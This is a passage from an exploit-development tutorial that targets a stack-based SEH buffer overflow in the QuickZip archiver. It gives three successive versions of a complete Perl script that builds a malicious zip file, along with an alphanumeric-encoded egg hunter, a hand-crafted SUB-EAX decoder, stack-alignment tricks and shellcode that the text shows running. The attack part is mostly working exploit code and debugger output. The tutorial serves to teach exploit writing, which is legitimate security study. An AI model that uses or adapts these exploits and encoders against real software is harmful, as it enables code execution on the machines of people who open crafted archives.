Tip : the output of the compare function is also written to a file compare.txt (in the Immunity Debugger program folder)

Let’s assume that we will use an egg hunter.   We have 297 bytes at our disposal (which should be enough for hosting and running the egg hunter), so it should not take us more than a few minutes to get this one to run, right ?

=> This is a good time to take one step back => and think about it : Did I miss anything here?

Ah yes… before we continue… damn… we won’t be able to use a regular egg hunter because it contains some non-filename-compatible characters.  Sounds like we’ll need to do encode the hunter too…

The hunter

Finding an egg hunter that will do the job is trivial. We’ll use the one that uses NtAccessCheckAndAuditAlarm.

As stated earlier, we’ll probably need to encode the egg hunter.

There are a couple of ways to do that : use metasploit, or use skylined’s alpha2/alpha3 encoders.  But which one should we use ?

=> This is a good time to take one step back => and think about it : Which one will work, which one will not work ?

By default, the metasploit encoder will produce code that includes a GetPC routine. The bytes used in that routine are most likely not going to be “filename-compatible”.  So we cannot really use that technique.   Skylined’s alpha2 encoder uses a different technique.  It will assume that the baseaddress of the decoder (so basically the memory address where the decoder is located in memory) is in a given register, and the decoder will just take that value to determine it’s own address (GetPC).  The advantage of this is that the encoded egg hunter will be based on filename-compatible ascii characters only.

Let’s say we want to encode the egg hunter, and use eax as baseaddress, then this is how you need to encode the hunter and what the output will look like.

first write the egg hunter (using w00t as tag) to a file called egghunter.bin, then run the alpha2 command

root@bt4:/pentest/exploits/alpha2# ./alpha2 eax --uppercase < egghunter.bin PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISVK 1YZKODO1R0RRJ5RV88MFN7LS50ZCDJOX8BWP0VPCDLKZZNOSEZJNOSEKWKOM7A

This looks fine in terms of charset compatibility.  So we should now put this egg hunter in the payload (somewhere in the first 297 bytes), and then see if we can use the jump back to eventually jump to the beginning of this encoded egg hunter and let it run. Basically, if we put a “far” jump back before nseh, and we can use the short jump back at nseh, then we may be able to jump to the beginning of the egg hunter, right ?

=> This is a good time to take one step back => and think about it : Is it as simple as writing opcode for far jump back ?

No, unfortunately not.  There are 2 things you need to keep in mind here

  • the (far) jump back code would need to be written in filename-compatible opcode too
  • we need to set a register (we used eax as basereg, so we must craft the value in eax) to the memory location where the egg hunter is located, in order for the decoder to work, and that code will need to be written in filename-compatible opcode as well.

It almost looks like we are running in circles here.

In order for encoded egg hunter to run, we need to write some code.  But that code may need to be encoded so it would be filename-compatible.  In order for that encoded code to run, you need to write some code… etc etc

How can we solve this ?

=> This is a good time to take one step back => and think about it : What would you do ? Give up ? Or Try Harder ?

Run hunter, run !

This is what I did :

Given the fact that we need to put the address (that points at the beginning of the encoded egghunter) in a certain register, I decided to combine the actions required to crafting this value, and then doing a far jump back.  Basically, what I need to do is set the value in the register and just jump to the register.

So, if we put the egg hunter at the begin of the payload, then our payload looks like this :

[egghunter] + [ A’s ] + [nseh] + [seh] + [egg_tag] + [shellcode] + fill_up_to_4064 bytes

So, when the jump back at nseh is executed, we would land at the end of the A’s before nseh.   In that area, we need to write the code to modify the register value (make it point to the begin of the egghunter) and then jump to that register.

First, we need to determine how to get the required value into the register.   The idea is to use a value in a register or on the stack, add or subtract some bytes, and then jump to it.  Let’s try.

Use this code to generate a zip file that is based on the structure above :

# Author : corelanc0d3r # http://www.corelan.be:8800 # March 2010 my $filename="corelanboom.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00x00x00x00". "xB7xACxCEx34x00x00x00x00x00x00x00x00x00x00x00" . "xe4x0f" .# file size "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14x00x00x00". "x00x00xB7xACxCEx34x00x00x00". "x00x00x00x00x00x00x00x00x00". "xe4x0f". # file size "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00x00x01x00x01x00". "x12x10x00x00". # Size of central directory (bytes) "x02x10x00x00". # Offset of start of central directory, relative to # start of archive "x00x00"; my $shellcode = "x89xe7xd9xe5xd9x77xf4x58x50x59x49x49x49x49" . "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" . "x58x34x41x50x30x41x33x48x48x30x41x30x30x41" . "x42x41x41x42x54x41x41x51x32x41x42x32x42x42" . "x30x42x42x58x50x38x41x43x4ax4ax49x49x49x4a" . "x4bx4dx4bx49x49x43x44x51x34x4ax54x50x31x48" . "x52x4ex52x42x5ax46x51x49x59x42x44x4cx4bx42" . "x51x46x50x4cx4bx43x46x44x4cx4cx4bx43x46x45" . "x4cx4cx4bx47x36x43x38x4cx4bx43x4ex51x30x4c" . "x4bx46x56x50x38x50x4fx42x38x43x45x4cx33x46" . "x39x43x31x48x51x4bx4fx4bx51x43x50x4cx4bx42" . "x4cx51x34x47x54x4cx4bx50x45x47x4cx4cx4bx46" . "x34x45x55x44x38x45x51x4ax4ax4cx4bx51x5ax44" . "x58x4cx4bx50x5ax47x50x43x31x4ax4bx4bx53x47" . "x47x51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46" . "x51x4bx4fx46x51x4fx30x4bx4cx4ex4cx4bx34x49" . "x50x44x34x44x4ax4fx31x48x4fx44x4dx43x31x49" . "x57x4bx59x4ax51x4bx4fx4bx4fx4bx4fx47x4bx43" . "x4cx47x54x51x38x43x45x49x4ex4cx4bx51x4ax46" . "x44x43x31x4ax4bx42x46x4cx4bx44x4cx50x4bx4c" . "x4bx51x4ax45x4cx43x31x4ax4bx4cx4bx44x44x4c" . "x4bx43x31x4bx58x4bx39x47x34x46x44x45x4cx43" . "x51x4fx33x48x32x43x38x46x49x4ex34x4cx49x4d" . "x35x4cx49x49x52x42x48x4cx4ex50x4ex44x4ex4a" . "x4cx51x42x4dx38x4dx4cx4bx4fx4bx4fx4bx4fx4b" . "x39x50x45x43x34x4fx4bx43x4ex48x58x4bx52x42" . "x53x4dx57x45x4cx46x44x51x42x4dx38x4cx4bx4b" . "x4fx4bx4fx4bx4fx4cx49x51x55x43x38x43x58x42" . "x4cx42x4cx47x50x4bx4fx43x58x46x53x50x32x46" . "x4ex43x54x45x38x44x35x43x43x43x55x44x32x4d" . "x58x51x4cx46x44x44x4ax4bx39x4dx36x46x36x4b" . "x4fx50x55x45x54x4dx59x48x42x50x50x4fx4bx4f" . "x58x4ex42x50x4dx4fx4cx4bx37x45x4cx51x34x50" . "x52x4dx38x51x4ex4bx4fx4bx4fx4bx4fx42x48x42" . "x4cx43x51x42x4ex50x58x42x48x51x53x42x4fx44" . "x32x45x35x50x31x49x4bx4cx48x51x4cx51x34x43" . "x37x4cx49x4ax43x43x58x42x4fx44x32x43x43x50" . "x58x42x48x42x49x43x43x42x49x44x34x42x48x42" . "x4fx42x47x51x30x51x46x45x38x45x33x47x50x51" . "x52x42x4cx45x38x42x46x45x36x44x33x45x35x45" . "x38x42x4cx42x4cx47x50x50x4fx43x58x44x34x42" . "x4fx47x50x45x31x45x38x51x30x43x58x45x39x47" . "x50x43x58x43x43x45x31x42x59x43x43x42x48x42" . "x4cx43x51x42x4ex47x50x43x58x50x43x42x4fx44" . "x32x42x45x50x31x49x59x4bx38x50x4cx51x34x46" . "x4bx4cx49x4bx51x46x51x49x42x46x32x46x33x46" . "x31x51x42x4bx4fx4ex30x46x51x4fx30x46x30x4b" . "x4fx46x35x44x48x45x5ax41x41"; my $size=4064; #hit next SEH after 297 bytes my $egghunter = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISVK". "1YZKODO1R0RRJ5RV88MFN7LS50ZCDJOX8BWP0VPCDLKZZNOSEZJNOSEKWKOM7A"; my $junk = "x41" x (297-length($egghunter)); # nseh : jump back 10 bytes my $nseh="x73xf9xffxff"; # SE Handler : ppr from quickzip.exe : my $seh=pack('V',0x0040322B); #add some nops. A (0x41 will act as nop) my $nops = "A" x 30; #write the shellcode after the nops my $payload = $egghunter.$junk.$nseh.$seh.$nops."w00tw00t".$shellcode; # fill up to 4064 bytes and add .txt file extension my $restsize = $size - length($payload); my $rest = "D" x $restsize; $payload = $payload . $rest. ".txt"; print "Size : " . length($payload)."n"; print "Removing old $filename filen"; system("del $filename"); print "Creating new $filename filen"; open(FILE, ">$filename"); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE);

Trigger the overflow, let pop pop ret kick in, and stop right after the jump back (at nseh) is made.  Look at the registers :

image

Try to locate the begin of the egghunter too (just scroll up in the CPU view until you reach the begin of the hunter – or search for it :

image

Ok, the first byte of the egghunter could be found at 0x0012FAD3 :

image

How can we now jump to that address in a reliable way ?   Well, we can just put this address in a register and jump to that register… Hardcoding addresses is a bad idea.  It would be better to take the existing value of a register, add or sub some bytes (so basically use a relative offset) to that register and then make the jump.

As you can see, we have a couple of options. Look back at the registers.  EDX (0x0012F698) contains an address that sits below the address where the egg hunter is located. So I will use EDX, modify the value (basically add 0x43B bytes to EDX to go from it’s current value (0x0012F698) to the begin of the egg hunter (0x0012FAD3).  Then I need to jump to edx.

When we encoded the egg hunter earlier, we used eax as base address.  That means that after crafting the value in edx, I either have to put the address in eax prior to making the jump (because eax needs to point at the baseaddress of the egg hunter too),  or I would have to re-encode the egg hunter so it would use edx as basereg.

Let’s try to keep things simple. We’ll just put edx in eax so we don’t have to do the encoding again.

So – the plan is to do this :

  • add edx,0x43B
  • push edx
  • pop eax
  • jmp edx

The opcodes for these instructions can be found using pvefindaddr :

!pvefindaddr assemble add edx,0x43B#push edx#pop eax#jmp edx

Output :

0BADF00D Opcode results : 0BADF00D ---------------- 0BADF00D add edx,0x43B = x81xc2x3Bx04x00x00 0BADF00D push edx = x52 0BADF00D pop eax = x58 0BADF00D jmp edx = xffxe2

Still with me ?

=> This is a good time to take one step back => and think about it : Are we doing the right thing here ?

Ah yes – of course we are doing the right thing.

But there’s an issue again. The opcode bytes are not filename-compatible, they contain null bytes… in short, the code won’t work.

What are your options ?   If the opcode is not filename-compatible, perhaps you can encode it, right ?

Sorry hunter – don’t start running yet… I’ll be with you in a minute

=> This is a good time to take one step back => and think about it : What would you do to get around this ?

Seriously.

Did you really consider encoding the code with metasploit or alpha2 ?  Think again.   You would end up in a circle again. Using alpha2 or metasploit really is not an option here.

There is only one good solution for this, and that’s writing your own hand-crafted custom decoder.  A decoder that would be filename compatible, and that does not need to find it’s baseaddress in a register or using GetPC code…

Time to get your hands dirty.

A possible technique to build your own custom decoder is by using the algorithm used by muts, and also explained here (see “hand-crafting the encoder”).

This decoder would reproduce the original opcode bytes (per 4 bytes) on the stack, based on mathematical operations. Basically, register eax would be set to zero, and then 3 values would be subtracted, reproducing the original 4 bytes of opcode.   The technique is based on eax, because the SUB instruction on eax is based on a filename-compatible opcode (unlike the same SUB operation on other registers).

Eax… wait a minute. We are already using eax as baseaddress for our encoded egg hunter.  So if we are crafting a value in eax, and we are also using eax for the decoder, then it looks like we need to use another register as base register for the encoded egghunter.   Well, since we we are already using edx to craft the value, perhaps we should just re-encode the egg hunter using edx as basereg, and then we can leave out the “push edx” and “pop eax” instructions from our “alignment” code at the same time.  That would make our alignment code 2 bytes smaller (now 8 bytes in total)

Re-encode the egg hunter with EDX. The output should look something like this :

my $egghunter="JJJJJJJJJJJRYVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8A". "CJJIU6MQ9ZKO4OG2V2SZ4BV8HMFNGL5UQJD4ZONXRWP0P02TLKJZNOT5ZJNO3EKWKOM7A";

The new modified “alignment” opcode looks like this :

0x81 0xc2 0x3B 0x04 0x00 0x00 0xff 0xe2 :

  • add edx,0x43B
  • jmp edx

Ok, now it’s time to build our custom decoder.

Hmmm hold on hunter – this may take more than a minute

We have to group the instructions into dwords (4bytes), and start reproducing the last 4 bytes first.  The reproduced bytes need to be pushed to the stack.  When everything is reproduced, we must jump to/execute the reproduced code.

Simple as that.

This is how it works :

Start with the last 4 bytes of the code and reverse them.  Then calculate the 2’s complement for that new 4 byte value. Example :

Original code : 0x00 0x00 0xff 0xe2

Reversed : 0xe2 0xff 0x00 0x00

2’s complement (Windows calc – Hex – dword – type “0 – E2FF0000”) : 1D010000

Now find 3 values that will, if you add (sum) them again, would lead back to 1D010000.  The caveat is that these 3 values must be using filename-compatible characters only.

In this case, the following 3 values would do the trick :  5F555555, 5F555555 and 5E565556. If you sum these 3 values, you end up at 1D010000 (well, in fact you end up at 11D010000, but the first 1 will be ignored)

subcalc Quick tip on calculating these values :

start with the last byte first and divide it by 3.

If the result of the division is too small and/or not filename-compatible, then just prepend the byte with 1 and divide by 3 again.

(You will have to take this overflow into account for the next bytes).  Example : 00 / 3 = 0 (=> not compatible). Prepend 00 with 1 = 100.  Divide by 3 = 55.  55 + 55 + 55 = FF, so in order to get to 00, you need to add 1 to one of the values => 55 + 55 + 56.

Move on to the next byte (second last byte) in the value and do the same math. We already know that 55+55+56 = 00. But since the previous calculation produced an overflow, you will have to compensate for this “1” overflow. (So in this case, you’ll have 55+55+55  (+1 from the overflow) = 00)

And so on…

So, in order to recombine the original 4 bytes, you have to do this :

– set eax to zero : you can use this code to do it

"x25x4Ax4Dx4Ex55". "x25x35x32x31x2A".

– reproduce the bytes by subtracting the 3 values from eax (zero)

"x2dx55x55x55x5F". "x2dx55x55x55x5F". "x2dx56x55x56x5E".

as you can see, the opcode to sub eax is 2D – which is a valid filename-compatible character.  You need 3 lines of code, and don’t forget to put the 4 bytes in reverse order.  So  subtracting 5F555555 from eax would be 2D 55 55 55 5F)

– push the reproduced 4 bytes to the stack : push eax

"x50"

Basically, you need to build a block of code for each 4 bytes. Each block of code consists of zero eax, then doing the sub operations on eax, and then pushing the result to the stack.

These blocks must be placed in the correct order. You have to reproduce the last 4 bytes first and then work your way up to the first bytes.

The code to reproduce 0x81 0xc2 0x3B 0x04 0x00 0x00 0xff 0xe2 on the stack looks like this :

my $buildjmp = "x25x4Ax4Dx4Ex55". "x25x35x32x31x2A". "x2dx55x55x55x5F". "x2dx55x55x55x5F". "x2dx56x55x56x5E". "x50". "x25x4Ax4Dx4Ex55". "x25x35x32x31x2A". "x2dx2Ax69x41x54". "x2dx2Ax69x41x54". "x2dx2Bx6Bx41x53". "x50";

Note : newer versions of pvefindaddr now include functionality to create the decoder. You can simply run !pvefindaddr encode ascii , which will produce the decoder.  (Bytecode = only mention the bytes… no spaces, no 0x, no x…)

If we place this code before overwriting the SE structure, then the jump back at nseh will get this code to execute.  Our new exploit looks like this :

# Author : corelanc0d3r # http://www.corelan.be:8800 # March 2010 my $filename="corelanboom.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00x00x00x00". "xB7xACxCEx34x00x00x00x00x00x00x00x00x00x00x00" . "xe4x0f" .# file size "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14x00x00x00". "x00x00xB7xACxCEx34x00x00x00". "x00x00x00x00x00x00x00x00x00". "xe4x0f". # file size "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00x00x01x00x01x00". "x12x10x00x00". # Size of central directory (bytes) "x02x10x00x00". # Offset of start of central directory, relative to # start of archive "x00x00"; my $shellcode = "x89xe7xd9xe5xd9x77xf4x58x50x59x49x49x49x49" . "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" . "x58x34x41x50x30x41x33x48x48x30x41x30x30x41" . "x42x41x41x42x54x41x41x51x32x41x42x32x42x42" . "x30x42x42x58x50x38x41x43x4ax4ax49x49x49x4a" . "x4bx4dx4bx49x49x43x44x51x34x4ax54x50x31x48" . "x52x4ex52x42x5ax46x51x49x59x42x44x4cx4bx42" . "x51x46x50x4cx4bx43x46x44x4cx4cx4bx43x46x45" . "x4cx4cx4bx47x36x43x38x4cx4bx43x4ex51x30x4c" . "x4bx46x56x50x38x50x4fx42x38x43x45x4cx33x46" . "x39x43x31x48x51x4bx4fx4bx51x43x50x4cx4bx42" . "x4cx51x34x47x54x4cx4bx50x45x47x4cx4cx4bx46" . "x34x45x55x44x38x45x51x4ax4ax4cx4bx51x5ax44" . "x58x4cx4bx50x5ax47x50x43x31x4ax4bx4bx53x47" . "x47x51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46" . "x51x4bx4fx46x51x4fx30x4bx4cx4ex4cx4bx34x49" . "x50x44x34x44x4ax4fx31x48x4fx44x4dx43x31x49" . "x57x4bx59x4ax51x4bx4fx4bx4fx4bx4fx47x4bx43" . "x4cx47x54x51x38x43x45x49x4ex4cx4bx51x4ax46" . "x44x43x31x4ax4bx42x46x4cx4bx44x4cx50x4bx4c" . "x4bx51x4ax45x4cx43x31x4ax4bx4cx4bx44x44x4c" . "x4bx43x31x4bx58x4bx39x47x34x46x44x45x4cx43" . "x51x4fx33x48x32x43x38x46x49x4ex34x4cx49x4d" . "x35x4cx49x49x52x42x48x4cx4ex50x4ex44x4ex4a" . "x4cx51x42x4dx38x4dx4cx4bx4fx4bx4fx4bx4fx4b" . "x39x50x45x43x34x4fx4bx43x4ex48x58x4bx52x42" . "x53x4dx57x45x4cx46x44x51x42x4dx38x4cx4bx4b" . "x4fx4bx4fx4bx4fx4cx49x51x55x43x38x43x58x42" . "x4cx42x4cx47x50x4bx4fx43x58x46x53x50x32x46" . "x4ex43x54x45x38x44x35x43x43x43x55x44x32x4d" . "x58x51x4cx46x44x44x4ax4bx39x4dx36x46x36x4b" . "x4fx50x55x45x54x4dx59x48x42x50x50x4fx4bx4f" . "x58x4ex42x50x4dx4fx4cx4bx37x45x4cx51x34x50" . "x52x4dx38x51x4ex4bx4fx4bx4fx4bx4fx42x48x42" . "x4cx43x51x42x4ex50x58x42x48x51x53x42x4fx44" . "x32x45x35x50x31x49x4bx4cx48x51x4cx51x34x43" . "x37x4cx49x4ax43x43x58x42x4fx44x32x43x43x50" . "x58x42x48x42x49x43x43x42x49x44x34x42x48x42" . "x4fx42x47x51x30x51x46x45x38x45x33x47x50x51" . "x52x42x4cx45x38x42x46x45x36x44x33x45x35x45" . "x38x42x4cx42x4cx47x50x50x4fx43x58x44x34x42" . "x4fx47x50x45x31x45x38x51x30x43x58x45x39x47" . "x50x43x58x43x43x45x31x42x59x43x43x42x48x42" . "x4cx43x51x42x4ex47x50x43x58x50x43x42x4fx44" . "x32x42x45x50x31x49x59x4bx38x50x4cx51x34x46" . "x4bx4cx49x4bx51x46x51x49x42x46x32x46x33x46" . "x31x51x42x4bx4fx4ex30x46x51x4fx30x46x30x4b" . "x4fx46x35x44x48x45x5ax41x41"; my $size=4064; #egg hunter using edx as basereg my $egghunter="JJJJJJJJJJJRYVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8A". "CJJIU6MQ9ZKO4OG2V2SZ4BV8HMFNGL5UQJD4ZONXRWP0P02TLKJZNOT5ZJNO3EKWKOM7A"; #custom decoder which will reproduce 8 bytes of code on the stack #reproduced code will perform add edx,0x43B and then jmp edx #so it would jump to our alpha2 encoded egg hunter my $buildjmp = "x25x4Ax4Dx4Ex55". "x25x35x32x31x2A". "x2dx55x55x55x5F". "x2dx55x55x55x5F". "x2dx56x55x56x5E". "x50". "x25x4Ax4Dx4Ex55". "x25x35x32x31x2A". "x2dx2Ax69x41x54". "x2dx2Ax69x41x54". "x2dx2Bx6Bx41x53". "x50"; #hit next SEH after 297 bytes my $junk = "x41" x (297-length($egghunter)-length($buildjmp)); # nseh : jump back 10 bytes my $nseh="x73xf9xffxff"; # SE Handler : ppr from quickzip.exe : my $seh=pack('V',0x0040322B); #add some nops. A (0x41 will act as nop) my $nops = "A" x 30; #write the custom decoder before nseh, and shellcode after the nops my $payload = $egghunter.$junk.$buildjmp.$nseh.$seh.$nops."w00tw00t".$shellcode; # fill up to 4064 bytes and add .txt file extension my $restsize = $size - length($payload); my $rest = "D" x $restsize; $payload = $payload . $rest. ".txt"; print "Size : " . length($payload)."n"; print "Removing old $filename filen"; system("del $filename"); print "Creating new $filename filen"; open(FILE, ">$filename"); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE);

When the custom decoder has been executed, the original 8 bytes of code will be reproduced on the stack :

image

How can we now execute this reproduce code on the stack ?

Our reproduced code is available at ESP.   So we need to jmp esp ?

Jump ESP

What filename-compatible opcode can we use to jump to ESP and execute this code ?

=> This is a good time to take one step back => and think about it : What are our options here ?

To be honest, there are no options really.  Adding some jumpcode (code that would do jump esp) after the custom decoder is not an option.  The opcode for jmp esp, for example, is 0xff 0xe4. Both bytes are not filename-compatible.

We have to look at it from a different angle.

We don’t really want to jump to esp.  All we want is execute the code. That is our goal.  Making a jump to esp is just a vehicle to getting the code executed.

=> This is a good time to take one step back => and think about it : What would you do next ?

The answer is simple : instead of jumping to the code on the stack, we should reproduce the code in a location so it would get executed automatically, after the decoder has finished.  So we should try to write the reproduced code right after the custom decoder.  When the decoder finishes, it would just start executing the reproduce code…

Each custom decoder code block pushes 4 bytes to the stack.  So it puts 4 bytes at the memory location where ESP points at.  That means that, if we can modify ESP before the custom decoder runs, and make it point to a location after the custom decoder itself, then it might work.  Of course, the opcode instructions to modify ESP needs to be filename-compatible too, so we are limited to just a few instructions.

Load the zip file again in the debugger, and look at the registers and the stack just before the custom decoder runs.  We need to find a location that points below the decoder.  In my example, the decoder starts at 0x0012FBC8 and ends at 0x0012FBFB.   None of the registers points to a location more or less directly below the end of the decoder.  But on the stack, we see this :

image

The 5th address from the top of the stack points at 0x0012FBFC. And that is one byte below the custom decoder.  We are going to push 8 bytes, so one byte is not enough… but luckily we can change the location of our custom decoder in the payload and leave more room (8 bytes or more) between the end of the decoder and this address.

How can we make ESP point to this location before the custom decoder runs ?  Easy.  Do some pops (or just a popad), and move the address into esp.

popad (0x61) will put this address into ebx.  Then all you need to do is push ebx (opcode 0x53), and pop esp (opcode 0x5c).   Note : 0x5C is a backslash.  A backslash is not exactly a filename-compatible character, but we get lucky again.  If you put a backslash in the filename inside the zip, then everything before the backslash will be displayed as a folder name, and the exploit will still work.

Modify the exploit code again and prepend the custom decoder with these 3 instructions + insert at least 8 bytes between the end of the custom decoder and the location where nseh gets overwritten.

# Author : corelanc0d3r # http://www.corelan.be:8800 # March 2010 my $filename="corelanboom.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00x00x00x00". "xB7xACxCEx34x00x00x00x00x00x00x00x00x00x00x00" . "xe4x0f" .# file size "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14x00x00x00". "x00x00xB7xACxCEx34x00x00x00". "x00x00x00x00x00x00x00x00x00". "xe4x0f". # file size "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00x00x01x00x01x00". "x12x10x00x00". # Size of central directory (bytes) "x02x10x00x00". # Offset of start of central directory, relative to # start of archive "x00x00"; my $shellcode = "x89xe7xd9xe5xd9x77xf4x58x50x59x49x49x49x49" . "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" . "x58x34x41x50x30x41x33x48x48x30x41x30x30x41" . "x42x41x41x42x54x41x41x51x32x41x42x32x42x42" . "x30x42x42x58x50x38x41x43x4ax4ax49x49x49x4a" . "x4bx4dx4bx49x49x43x44x51x34x4ax54x50x31x48" . "x52x4ex52x42x5ax46x51x49x59x42x44x4cx4bx42" . "x51x46x50x4cx4bx43x46x44x4cx4cx4bx43x46x45" . "x4cx4cx4bx47x36x43x38x4cx4bx43x4ex51x30x4c" . "x4bx46x56x50x38x50x4fx42x38x43x45x4cx33x46" . "x39x43x31x48x51x4bx4fx4bx51x43x50x4cx4bx42" . "x4cx51x34x47x54x4cx4bx50x45x47x4cx4cx4bx46" . "x34x45x55x44x38x45x51x4ax4ax4cx4bx51x5ax44" . "x58x4cx4bx50x5ax47x50x43x31x4ax4bx4bx53x47" . "x47x51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46" . "x51x4bx4fx46x51x4fx30x4bx4cx4ex4cx4bx34x49" . "x50x44x34x44x4ax4fx31x48x4fx44x4dx43x31x49" . "x57x4bx59x4ax51x4bx4fx4bx4fx4bx4fx47x4bx43" . "x4cx47x54x51x38x43x45x49x4ex4cx4bx51x4ax46" . "x44x43x31x4ax4bx42x46x4cx4bx44x4cx50x4bx4c" . "x4bx51x4ax45x4cx43x31x4ax4bx4cx4bx44x44x4c" . "x4bx43x31x4bx58x4bx39x47x34x46x44x45x4cx43" . "x51x4fx33x48x32x43x38x46x49x4ex34x4cx49x4d" . "x35x4cx49x49x52x42x48x4cx4ex50x4ex44x4ex4a" . "x4cx51x42x4dx38x4dx4cx4bx4fx4bx4fx4bx4fx4b" . "x39x50x45x43x34x4fx4bx43x4ex48x58x4bx52x42" . "x53x4dx57x45x4cx46x44x51x42x4dx38x4cx4bx4b" . "x4fx4bx4fx4bx4fx4cx49x51x55x43x38x43x58x42" . "x4cx42x4cx47x50x4bx4fx43x58x46x53x50x32x46" . "x4ex43x54x45x38x44x35x43x43x43x55x44x32x4d" . "x58x51x4cx46x44x44x4ax4bx39x4dx36x46x36x4b" . "x4fx50x55x45x54x4dx59x48x42x50x50x4fx4bx4f" . "x58x4ex42x50x4dx4fx4cx4bx37x45x4cx51x34x50" . "x52x4dx38x51x4ex4bx4fx4bx4fx4bx4fx42x48x42" . "x4cx43x51x42x4ex50x58x42x48x51x53x42x4fx44" . "x32x45x35x50x31x49x4bx4cx48x51x4cx51x34x43" . "x37x4cx49x4ax43x43x58x42x4fx44x32x43x43x50" . "x58x42x48x42x49x43x43x42x49x44x34x42x48x42" . "x4fx42x47x51x30x51x46x45x38x45x33x47x50x51" . "x52x42x4cx45x38x42x46x45x36x44x33x45x35x45" . "x38x42x4cx42x4cx47x50x50x4fx43x58x44x34x42" . "x4fx47x50x45x31x45x38x51x30x43x58x45x39x47" . "x50x43x58x43x43x45x31x42x59x43x43x42x48x42" . "x4cx43x51x42x4ex47x50x43x58x50x43x42x4fx44" . "x32x42x45x50x31x49x59x4bx38x50x4cx51x34x46" . "x4bx4cx49x4bx51x46x51x49x42x46x32x46x33x46" . "x31x51x42x4bx4fx4ex30x46x51x4fx30x46x30x4b" . "x4fx46x35x44x48x45x5ax41x41"; my $size=4064; #egghunter using edx as basereg my $egghunter="JJJJJJJJJJJRYVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8A". "CJJIU6MQ9ZKO4OG2V2SZ4BV8HMFNGL5UQJD4ZONXRWP0P02TLKJZNOT5ZJNO3EKWKOM7A"; #custom decoder which will reproduce 8 bytes of code on the stack #reproduced code will perform add edx,0x43B and then jmp edx #so it would jump to our alpha2 encoded egg hunter my $buildjmp = "x61x53x5c". "x25x4Ax4Dx4Ex55". "x25x35x32x31x2A". "x2dx55x55x55x5F". "x2dx55x55x55x5F". "x2dx56x55x56x5E". "x50". "x25x4Ax4Dx4Ex55". "x25x35x32x31x2A". "x2dx2Ax69x41x54". "x2dx2Ax69x41x54". "x2dx2Bx6Bx41x53". "x50"; #hit next SEH after 297 bytes my $junk = "x41" x (297-length($egghunter)-length($buildjmp)-8); # nseh : jump back 10 bytes my $nseh="x73xf9xffxff"; # SE Handler : ppr from quickzip.exe : my $seh=pack('V',0x0040322B); #add some nops. A (0x41 will act as nop) my $nops = "A" x 30; #write the custom decoder before nseh, and shellcode after the nops my $payload = $egghunter.$junk.$buildjmp."AAAAAAAA".$nseh.$seh.$nops."w00tw00t".$shellcode; # fill up to 4064 bytes and add .txt file extension my $restsize = $size - length($payload); my $rest = "D" x $restsize; $payload = $payload . $rest. ".txt"; print "Size : " . length($payload)."n"; print "Removing old $filename filen"; system("del $filename"); print "Creating new $filename filen"; open(FILE, ">$filename"); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE);

Create the zip and run things through the debugger again.

Instead of just a filename, we now see a folder in quickzip, and it has a file in it (this is the impact of the 0x5C character)

image

SEH still gets overwritten, ppr gets executed, and the jump back is made.   You now land into the A’s that sit in front of the custom decoder. Conveniently the A’s act as some kind of NOP (0x41 = inc ecx)  This decoder now starts with our 3 stack alignment instructions :

image

Right after these 3 instructions (so just before the first AND EAX operation is executed), ESP points at 0x0012FBFC, which is what we had expected.

image

You can also see the 8 A’s (0x41) which we have placed between the custom decoder and nseh  (which – incidentally – sits at 0x0012FBFC).

Step through until you push the first 4 bytes to the stack (so step through until after the first PUSH EAX).  When you now look at the instructions, you can see that the last 4 bytes of our jumpcode have been reproduced.

image

Continue to step through until the next push eax is executed (at 0x0012FBF3). Right after this push, the next 4 bytes (in fact, the first 4 bytes) are reproduced too, completing the entire jumpcode.

image

Since this jumpcode is now located just below the custom decoder, this code will get executed automatically.

Nice – so we win ?   Well, not yet.  When the jmp esp is made, you will notice that EDX does not point to the begin of the egg hunter anymore.   Huh ? Did we make a mistake when calculating the offset earlier ?

No, we didn’t.  Because we used a popad instruction, we changed edx too.  And our code was specifically built to add 0x43B to the original value of EDX.

Look back – when the popad instruction is executed, EDX is changed from 0x0012F689 to 0x0012F680

image

There are 2 ways to fix this :

  • change the decoder so it would add the offset based on 0x0012F680. Can be done, just do the math again and replace the changed bytes in the SUB EAX instructions.
  • don’t use popad, but use a series of pop instructions to get the desired value into ebx anyway (without touching the other registers).  Opcode for pop ebx is 0x5b  (which referes to the [ character … and that is not a valid filename-compatible character.  pop eax = 58 – so that one might work.   Replace the popad with 5  pop eax instructions. Finish the stack alignment code with push eax (0x50) and pop esp (0x5c) to get ESP to point at the desired location.

image

If you get this code to work, and to make edx point exactly at the start location of the egghunter (you can still reposition the egg hunter a bit in the payload string if that would be required), then you should have a working exploit.

Run hunter, run !!

image

our messagebox popped up…  => owned !

Part 2 : What is the impact if you decided to use a pop pop ret address from an OS dll ?

Hah – That’s a good exercise.  Try it.

Summarizing part 1, we have discovered the following things :

  • Quickzip suffers from a stack based buffer overflow, allowing us to overwrite a SEH record (after 297 bytes on my VirtualBox XP. offset may be different on your system)
